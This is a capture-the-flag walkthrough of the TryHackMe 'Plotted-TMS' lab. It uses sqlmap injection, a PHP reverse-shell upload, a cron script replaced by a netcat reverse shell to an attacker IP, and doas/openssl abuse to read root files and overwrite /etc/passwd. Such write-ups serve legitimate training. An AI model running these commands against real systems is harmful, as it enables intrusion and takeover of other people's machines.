Plotted-TMS

https://tryhackme.com/room/plottedtms

Nmap

nmap 10.10.225.219 -p- -sS -sV

PORT    STATE    SERVICE VERSION
22/tcp  open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
53/tcp  filtered domain
80/tcp  open     http    Apache httpd 2.4.41 ((Ubuntu))
445/tcp open     http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Starting out on port 80 we find the Apache2 default page.

Directory enumeration with feroxbuster produces a few interesting results.

Both passwd and shadow pages have the same base64 encoded value.

After decoding...

echo 'bm90IHRoaXMgZWFzeSA6RA==' | base64 -d
# Returns ...                                                                                                       
not this easy :D    

We also find id_rsa under the /admin directory. This again, contains a base64 encoded string that is not of any use...

After thoroughly going through port 80 we can then move onto port 445. Port 445 is normally reversed for SMB, however on this system it is dedicated to HTTP.

Again, the root page points back to the Apache default page.

feroxbuster -u http://10.10.136.15:445 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -s 200 

Browsing to the management directory brings us to the page shown below.

Before attempting any login attempts on the target system we perform further directory enumeration and find some interesting results.

Downloading the db.sql files we find some account hashes within the file.

We can then crack both hashes with Hashcat against the rockyou.txt word list.

hashcat -m 0 hash /usr/share/wordlists/rockyou.txt

However, we are unable to proceed with our cracked credentials.

Inspecting the responses through ZAP web proxy we find a SQL statement error has been shown on logon failure.

Saving the original request file we can then utilize sqlmap to see if the target is vulnerable to SQL injection.

Enumerating available information with sqlmap I was able to build the command below.

sqlmap -r ~/Desktop/request.raw --batch --tables -D tms_db -T users --columns username,password --dump

Whilst the hashes are the same we do have some new information. We have a username of puser for the credentials we cracked earlier.

Testing the credentials against the login page proves successful.

Looking at the account settings in the top right of the screen we see we can change our profile picture. As we know PHP is running on the target web server we can upload a reverse shell.

RevShells was then used to generate a PHP PentestMonkey reverse shell.

RevShells: https://www.revshells.com/

Next, set up a netcat listener then open the user profile image in a new tab to execute the PHP shell.

Which should result in a shell.

We now have access as www-data and can begin to enumerate the internal system.

After going through some of the PHP files we find initialize.php contains sensitive information.

Logging into Mysql with the credentials from initialize.php we are unable to pull any new information that we did not know already.

Further enumeration with linpeas.sh shows the script below is executed every minute by the user plot_admin.

Following the command below we can replace backup.sh with our own which will contain a netcat reverse shell.

# rename backup.sh
mv backup.sh backup_copy.sh

# Create our own backup.sh
touch backup.sh

# Echo in first line to define bash
echo '#!/bin/bash' > backup.sh

# echo in a nc reverse shell
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.18.28.192 4444 >/tmp/f' >> backup.sh

# Change permissions to make it executable
chmod 777 backup.sh

A short wait later we receive a reverse shell on our attacking system.

Enumerating with linpeas.sh shows the doas binary is on the system which, essentially acts as an alternative to sudo.

GTFOBins provides relevant information on how to abuse the openssl binary.

GTFOBins: https://gtfobins.github.io/gtfobins/openssl/#sudo

We could quite easily grab the root flag using the method below:

doas -u root openssl enc -in /root/root.txt

A more destructive method; we can echo a new root user into /etc/passwd. This will wipe the contents of /etc/passwd, however we will have a root shell.

// echo 'viper:$1$luDZJMtq$4ljcR6cSb41FraIUQIiQx/:0:0:viper:/home/viper:/bin/bash' | doas -u root openssl enc -out "/etc/passwd"

then su to switch user and enter the password Password123.

Last updated